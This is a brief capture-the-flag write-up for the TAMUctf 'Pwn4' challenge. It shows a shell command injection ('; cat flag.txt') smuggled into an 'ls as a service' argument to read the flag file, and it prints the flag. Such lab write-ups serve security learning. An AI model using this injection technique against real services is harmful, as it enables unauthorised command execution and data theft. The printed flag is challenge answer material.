# Pwn4Pwn
## Challenge 
nc pwn.tamuctf.com 4324
Difficulty: medium
## Solution
Program is simple enough 
	# ./pwn4	ls as a service (laas)(Copyright pending)	Enter the arguments you would like to pass to ls:	HELLO	Result of ls HELLO:	ls: cannot access 'HELLO': No such file or directory
Try on server 
	# nc pwn.tamuctf.com 4324	ls as a service (laas)(Copyright pending)	Enter the arguments you would like to pass to ls:	.	Result of ls .:	flag.txt	pwn4
	ls as a service (laas)(Copyright pending)	Enter the arguments you would like to pass to ls:	flag.txt	Result of ls flag.txt:	flag.txt
	ls as a service (laas)(Copyright pending)	Enter the arguments you would like to pass to ls:	; cat flag.txt	Result of ls ; cat flag.txt:	flag.txt	pwn4	gigem{5y573m_0v3rfl0w}
Flag text indicates that this is the unintended solution.
## Flag
	gigem{5y573m_0v3rfl0w}